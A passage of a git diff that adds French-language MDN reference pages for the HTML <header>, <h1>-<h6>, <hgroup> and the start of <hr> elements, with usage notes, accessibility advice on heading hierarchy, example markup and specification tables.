+---
+<div>{{HTMLRef}}</div>
+
+<p>L'<strong>élément HTML <code>&lt;header&gt;</code></strong> représente un groupe de contenu introductif ou de contenu aidant à la navigation. Il peut contenir des éléments de titre, mais aussi d'autres éléments tels qu'un logo, un formulaire de recherche, etc.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/header.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a> mais sans élément descendant qui soit {{HTMLElement("footer")}} ou <code>&lt;header&gt;</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>. Il est à noter qu'un élément <code>&lt;header&gt;</code> ne doit pas descendre d'un élément {{HTMLElement("address")}}, {{HTMLElement("footer")}} ou d'un autre élément <code>&lt;header&gt;</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notes_dutilisation">Notes d'utilisation</h2>
+
+<p>L'élément <code>&lt;header&gt;</code> n'est pas une section de contenu et n'introduit donc pas de nouvelle section dans ls <a href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document">structure</a>. Cela dit, un élément <code>&lt;header&gt;</code> est généralement destiné à contenir l'en-tête de la section environnante (un élément <code>h1</code>-<code>h6</code>), mais ce <strong>n'est pas</strong> obligatoire.</p>
+
+<h3 id="Usage_historique">Usage historique</h3>
+
+<p>Bien que l'élément <code>&lt;header&gt;</code> ne fasse pas partie de la spécification HTML avant {{glossary("HTML5")}} , il existait de façon implicite depuis les premières versions. <a href="http://info.cern.ch/">En consultant le premier site web</a>, il était originellement utilisé comme l'élément <code>&lt;head&gt;</code>. À un moment donné, il a été décidé d'utiliser un nom différent. Cela a permis à <code>&lt;header&gt;</code> d'être libre de remplir un rôle différent par la suite.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les éléments HTML, cet élément possède les <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="En-tête_de_page">En-tête de page</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;header&gt;
+  &lt;h1&gt;Titre principal&lt;/h1&gt;
+  &lt;img src="mdn-logo-sm.png" alt="MDN logo"&gt;
+&lt;/header&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("En-tête_de_page","100%","200")}}</p>
+
+<h3 id="En-tête_pour_un_article">En-tête pour un article</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;header&gt;
+    &lt;h2&gt;La planète Terre&lt;/h2&gt;
+    &lt;p&gt;Publié le &lt;time datetime="2017-10-04"&gt;4 octobre 2017&lt;/time&gt; par Jeanne Smith&lt;/p&gt;
+  &lt;/header&gt;
+  &lt;p&gt;Nous vivons sur une planète bleue et verte&lt;/p&gt;
+  &lt;p&gt;&lt;a href="https://example.com/the-planet-earth/"&gt;Poursuivre la lecture…&lt;/a&gt;&lt;/p&gt;
+&lt;/article&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("En-tête_pour_un_article","100%","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-header-element', '&lt;header&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-header-element', '&lt;header&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em> pull request</em>.</div>
+
+<p>{{Compat("html.elements.header")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Autres éléments liés à la section d'un document : {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("footer")}}, {{HTMLElement("section")}}, {{HTMLElement("address")}}</li>
+ <li><a href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document">Plan et sections d'un document HTML5</a></li>
+</ul>
diff --git a/files/fr/web/html/element/heading_elements/index.html b/files/fr/web/html/element/heading_elements/index.html
new file mode 100644
index 0000000000..764d5a89be
--- /dev/null
+++ b/files/fr/web/html/element/heading_elements/index.html
@@ -0,0 +1,252 @@
+---
+title: '<h1>-<h6> : les éléments de titre de section'
+slug: Web/HTML/Element/Heading_Elements
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/Heading_Elements
+---
+<div>{{HTMLRef}}</div>
+
+<p>Les éléments <strong><code>&lt;h1&gt;</code></strong> à <strong><code>&lt;h6&gt;</code></strong> représentent six niveaux de titres dans un document, <code>&lt;h1&gt;</code> est le plus important et <code>&lt;h6&gt;</code> est le moins important. Un élément de titre décrit brièvement le sujet de la section qu'il introduit.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/h1-h6.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Ces éléments acceptent uniquement les <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a> (communs à l'ensemble des éléments).</p>
+
+<div class="note">
+<p><strong>Note :</strong> L'attribut <code><strong>align</strong></code> est obsolète et ne doit pas être utilisé.</p>
+</div>
+
+<h2 id="Notes_dutilisation">Notes d'utilisation</h2>
+
+<ul>
+ <li>L'information d'un titre peut être utilisée par les agents utilisateurs, par exemple, pour construire automatiquement une table des matières d'un document.</li>
+ <li>Les titres ne doivent pas être utilisé afin de réduire ou d'augmenter la taille de la police d'un texte : il faut pour cela utiliser la propriété CSS {{cssxref('font-size')}} à la place.</li>
+ <li>On évitera de sauter des niveaux de titre : on commence toujours par <code>&lt;h1&gt;</code> puis <code>&lt;h2&gt;</code> et ainsi de suite. On essaye également d'avoir un seul titre de niveau 1 sur une page.</li>
+ <li>Jusqu'à HTML5, il fallait éviter d'utiliser plus d'un élément <code>&lt;h1&gt;</code> sur une même page. En HTML5, il est possible d'utiliser les balises sémantiques pour créer une hiérarchie valide avec plusieurs <code>&lt;h1&gt;</code>. Voir {{SectionOnPage("/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document","Définir_des_sections_en_HTML5")}} pour plus d'informations.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Tous_les_titres">Tous les titres</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Titre de niveau 1&lt;/h1&gt;
+&lt;h2&gt;Titre de niveau 2&lt;/h2&gt;
+&lt;h3&gt;Titre de niveau 3&lt;/h3&gt;
+&lt;h4&gt;Titre de niveau 4&lt;/h4&gt;
+&lt;h5&gt;Titre de niveau 5&lt;/h5&gt;
+&lt;h6&gt;Titre de niveau 6&lt;/h6&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Tous_les_titres","280","300")}}</p>
+
+<h3 id="Exemple_de_page">Exemple de page</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Élément de titre&lt;/h1&gt;
+&lt;h2&gt;Présentation&lt;/h2&gt;
+&lt;p&gt;Du texte...&lt;/p&gt;
+
+&lt;h2&gt;Exemples&lt;/h2&gt;
+&lt;h3&gt;Exemple 1&lt;/h3&gt;
+&lt;p&gt;Du texte...&lt;/p&gt;
+
+&lt;h3&gt;Exemple 2&lt;/h3&gt;
+&lt;p&gt;Du texte...&lt;/p&gt;
+
+&lt;h2&gt;Voir également&lt;/h2&gt;
+&lt;p&gt;Du texte...&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_de_page","280","480")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<h3 id="Navigation">Navigation</h3>
+
+<p>Les personnes utilisant des lecteurs d'écran utilisent fréquemment les niveaux de titre en passant de l'un à l'autre afin de déterminer rapidement le contenu de la page. Pour cette raison, il est important de ne pas sauter un niveau de titre. En effet, l'absence d'un titre intermédiaire pourrait amener le lecteur à se demander où le titre a été placé.</p>
+
+<h4 id="Mauvaises_pratiques">Mauvaises pratiques</h4>
+
+<pre class="brush: html example-bad notranslate">&lt;h1&gt;Heading level 1&lt;/h1&gt;
+&lt;h3&gt;Heading level 3&lt;/h3&gt;
+&lt;h4&gt;Heading level 4&lt;/h4&gt;
+</pre>
+
+<h4 id="Bonnes_pratiques">Bonnes pratiques</h4>
+
+<pre class="brush: html example-good notranslate">&lt;h1&gt;Heading level 1&lt;/h1&gt;
+&lt;h2&gt;Heading level 2&lt;/h2&gt;
+&lt;h3&gt;Heading level 3&lt;/h3&gt;
+</pre>
+
+<h4 id="Imbrication">Imbrication</h4>
+
+<p>Les niveaux de titres peuvent être imbriqués afin de créer des sous-sections qui reflètent l'organisation de la page. La plupart des lecteurs d'écran peuvent également générer une liste ordonnée des titres de la page afin d'aider les visiteurs à connaître la hiérarchie du contenu :</p>
+
+<ol>
+ <li><code>h1</code> Les abeilles
+
+  <ol>
+   <li><code>h2</code> Étymologie</li>
+   <li><code>h2</code> Répartition</li>
+   <li><code>h2</code> Évolution
+    <ol>
+     <li><code>h3</code> Paléozoïque ancien</li>
+     <li><code>h3</code> Jurassique</li>
+     <li><code>h3</code> Crétacée</li>
+    </ol>
+   </li>
+   <li><code>h2</code> Morphologie externe
+    <ol>
+     <li><code>h3</code>Tête
+      <ol>
+       <li><code>h4</code> Mandibules</li>
+      </ol>
+     </li>
+     <li><code>h3</code> Thorax
+      <ol>
+       <li><code>h4</code> Prothorax</li>
+       <li><code>h4</code> Ptérothorax</li>
+      </ol>
+     </li>
+     <li><code>h3</code> Pattes</li>
+     <li><code>h3</code> Ailes</li>
+     <li><code>h3</code> Abdomen</li>
+    </ol>
+   </li>
+  </ol>
+ </li>
+</ol>
+
+<p>Lorsque les niveaux sont imbriqués, il est possible de sauter un niveau lorsqu'on <strong>ferme</strong> une sous-section</p>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/tutorials/page-structure/headings/">Les titres et la structure d'une page - Tutoriels WAI pour l'accessibilité web (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_—_Create_content_that_can_be_presented_in_different_ways">Comprendre les règles WCAG 1.3</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_—_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are"> Comprendre les règles WCAG 2.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html"><em>Understanding Success Criterion 1.3.1 | W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-skip.html"><em>Understanding Success Criterion 2.4.1 | W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-descriptive.html"><em>Understanding Success Criterion 2.4.6 | W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-headings.html"><em>Understanding Success Criterion 2.4.10 | W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h3 id="Libeller_une_section">Libeller une section</h3>
+
+<p>Les outils comme les lecteurs d'écran peuvent également générer une liste du <a href="/en-US/docs/Web/HTML/Element#Content_sectioning">contenu sectionnant</a> afin de déterminer le plan de la page.</p>
+
+<p>Le contenu sectionnant peut être libellé en combinant les attributs <code><a href="/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></code> et {{htmlattrxref("id")}}. Dans ce cas, le libellé décrit, de façon concise, le but de la section. Cette technique s'avère utile lorsqu'on a une page qui possède plusieurs éléments sectionnants.</p>
+
+<h4 id="Exemple">Exemple</h4>
+
+<pre class="brush: html notranslate">&lt;header&gt;
+  &lt;nav aria-labelledby="primary-navigation"&gt;
+    &lt;h2 id="primary-navigation"&gt;Outils de navigation&lt;/h2&gt;
+    &lt;!-- éléments relatifs à la navigation --&gt;
+  &lt;/nav&gt;
+&lt;/header&gt;
+
+&lt;!-- contenu de la page --&gt;
+
+&lt;footer&gt;
+  &lt;nav aria-labelledby="footer-navigation"&gt;
+    &lt;h2 id="footer-navigation"&gt;Navigation dans le pied de page&lt;/h2&gt;
+    &lt;!-- éléments relatifs à la navigation --&gt;
+  &lt;/nav&gt;
+&lt;/footer&gt;
+</pre>
+
+<p>Dans l'exemple qui précède, un lecteur d'écran annoncerait deux section {{HTMLElement("nav")}}, l'une étant appelée "Outils de navigation" et l'autre "Navigation dans le pied de page". Si les libellés n'avaient pas été fournis, la personne utilisant un lecteur d'écran aurait été obligée d'étudier les contenus de chaque élément <code>nav</code> afin d'en déterminer l'objectif.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">Utiliser l'attribut <code>aria-labelledby</code></a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/page-structure/labels/#using-aria-labelledby"><em>Libeller des régions - Structure d'une page - Tutoriels W3C WAI pour l'accessibilité web</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, contenu de titre, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balise</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte le <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a> ; n'utilisez pas de titre comme enfant d'un élément {{HTMLElement("hgroup")}}, c'est à présent obsolète.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("tab")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLHeadingElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.5', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.h1")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("p")}}</li>
+ <li>{{HTMLElement("div")}}</li>
+ <li>{{HTMLElement("section")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/hgroup/index.html b/files/fr/web/html/element/hgroup/index.html
new file mode 100644
index 0000000000..7726916452
--- /dev/null
+++ b/files/fr/web/html/element/hgroup/index.html
@@ -0,0 +1,146 @@
+---
+title: <hgroup>
+slug: Web/HTML/Element/hgroup
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/hgroup
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;hgroup&gt;</code></strong> représente un titre de plusieurs niveaux pour une section d'un document. Il regroupe un ensemble d'éléments <code><a href="/fr/docs/Web/HTML/Element/Heading_Elements">&lt;h1&gt;–&lt;h6&gt;</a></code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/hgroup.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<div class="note">
+<p><strong>Note :</strong> l'élement <code>&lt;hgroup&gt;</code> a été retiré de la spécification HTML5 (W3C) mais est toujours inscrit dans la version WHATWG de HTML. Il est partiellement implémenté dans la plupart des navigateurs et à ce titre, il est peu probable qu'il disparaisse.<br>
+ Cependant, le but d'un élément <code>&lt;hgroup&gt;</code> est d'affecter la façon dont les titres sont affichés <a href="/fr/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines#The_HTML5_outline_algorithm">par l'algorithme de mise en plan défini dans la spécification HTML</a>. <strong>Cet algorithme n'est pas implémenté dans la plupart des navigateurs </strong>et la sémantique de l'élément <code>&lt;hgroup&gt;</code> est donc uniquement théorique.<br>
+ La spécification HTML5 (W3C) fournit quelques indications pour baliser <a href="https://www.w3.org/TR/html52/common-idioms-without-dedicated-elements.html#common-idioms-without-dedicated-elements">les sous-titres et les titres alternatifs</a> sans requérir à <code>&lt;hgroup&gt;</code>.</p>
+</div>
+
+<p>L'élément <code>&lt;hgroup&gt;</code> permet de regrouper le titre principal d'une section avec son (ou ses) sous-titre(s) afin d'obtenir un titre sur plusieurs niveaux sémantiques.</p>
+
+<p>Autrement dit, l'élément <code>&lt;hgroup&gt;</code> évite que l'utilisation d'éléments <code><a href="/fr/docs/Web/HTML/Element/Heading_Elements">&lt;h1&gt;–&lt;h6&gt;</a></code> secondaires crée différentes sections dans le plan (ce qui est le résultat obtenu normalement lorsque <code><a href="/fr/docs/Web/HTML/Element/Heading_Elements">&lt;h1&gt;–&lt;h6&gt;</a></code> sont utilisés hors d'un <code>&lt;hgroup&gt;</code>).</p>
+
+<p>Dans le plan d'un document, obtenu par <a href="/fr/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines#The_HTML5_outline_algorithm">l'algorithme défini dans la spécification HTML</a>, l'élément <code>&lt;hgroup&gt;</code> forme une seule entité logique contenant l'ensemble des éléments-fils <code><a href="/fr/docs/Web/HTML/Element/Heading_Elements">&lt;h1&gt;–&lt;h6&gt;</a></code> du <code>&lt;hgroup&gt;</code> et qui fait donc apparaître une seule section pour ce groupe de titres dans le plan.</p>
+
+<p>Pour afficher le contenu d'un tel titre, l'agent utilisateur doit choisir comment représenter l'élément <code>&lt;hgroup&gt;</code> afin d'exprimer notamment les différents niveaux. Voici quelques exemples des approches qui seraient possibles :</p>
+
+<ul>
+ <li>Un élément <code>&lt;hgroup&gt;</code> peut afficher un titre où les deux points (:) sont utilisés comme séparateur entre le titre principal et le premier titre secondaire</li>
+ <li>Un élément <code>&lt;hgroup&gt;</code> peut afficher le titre principal, suivi du/des titre(s) secondaires entre parenthèses</li>
+</ul>
+
+<p>Prenons ce document HTML par exemple :</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;title&gt;HTML Standard&lt;/title&gt;
+&lt;body&gt;
+  &lt;hgroup id="document-title"&gt;
+    &lt;h1&gt;HTML&lt;/h1&gt;
+    &lt;h2&gt;Living Standard — Last Updated 12 August 2016&lt;/h2&gt;
+  &lt;/hgroup&gt;
+  &lt;p&gt;Some intro to the document.&lt;/p&gt;
+  &lt;h2&gt;Table of contents&lt;/h2&gt;
+  &lt;ol id=toc&gt;...&lt;/ol&gt;
+  &lt;h2&gt;First section&lt;/h2&gt;
+  &lt;p&gt;Some intro to the first section.&lt;/p&gt;
+&lt;/body&gt;</pre>
+
+<p>Le rendu de ce document pourrait être :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14599/outline-colon.png" style="height: 99px; width: 450px;"></p>
+
+<p>Où on voit que le titre principal est suivi de deux points puis d'un espace avant le titre secondaire, <em>Living Standard — Last Updated 12 August 2016</em>.</p>
+
+<p>On pourrait également avoir cet affichage :</p>
+
+<p><img alt="Rendered outline that includes an &lt;hgroup> element, with parens around the secondary heading" src="https://mdn.mozillademos.org/files/14601/outline-paren.png" style="height: 106px; width: 450px;"></p>
+
+<p>Ici, le titre secondaire est placé entre parenthèses après le titre principal.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;hgroup id="document-title"&gt;
+  &lt;h1&gt;HTML&lt;/h1&gt;
+  &lt;h2&gt;Living Standard — dernière mise à jour le 12 août 2016&lt;/h2&gt;
+&lt;/hgroup&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_de_titre">contenu de titre</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Un ou plusieurs éléments {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balise</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("tab")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-hgroup-element', '&lt;hgroup&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.hgroup")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML relatifs aux sections du document : {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}}</li>
+ <li><a class="deki-ns current" href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Les sections et le plan d'un document HTML5</a></li>
+</ul>
diff --git a/files/fr/web/html/element/hr/index.html b/files/fr/web/html/element/hr/index.html
new file mode 100644
index 0000000000..0633eb6c4b
--- /dev/null
+++ b/files/fr/web/html/element/hr/index.html
@@ -0,0 +1,138 @@
+---
+title: '<hr> : l''élément de rupture thématique (règle horizontale)'
+slug: Web/HTML/Element/hr
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/hr
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;hr&gt;</code></strong> représente un changement thématique entre des éléments de paragraphe (par exemple, un changement de décor dans un récit, un changement de sujet au sein d'une section).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/hr.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Dans les versions précédentes d'HTML, il représente une ligne horizontale. Bien qu'il puisse toujours être représenté ainsi par les navigateurs graphiques, il possède désormais une signification sémantique et ne représente plus un élément de mise en forme.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément prend en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h3 id="Attributs_dépréciés_obsolètes_ou_non-standard">Attributs dépréciés, obsolètes ou non-standard</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecated_inline}}</dt>
+ <dd>Définit l'alignement de la ligne horizontale sur la page. Si aucune valeur n'est renseignée, la valeur prise par défaut est <code>left</code>.</dd>
+ <dt>{{htmlattrdef("color")}} {{Non-standard_inline}}</dt>
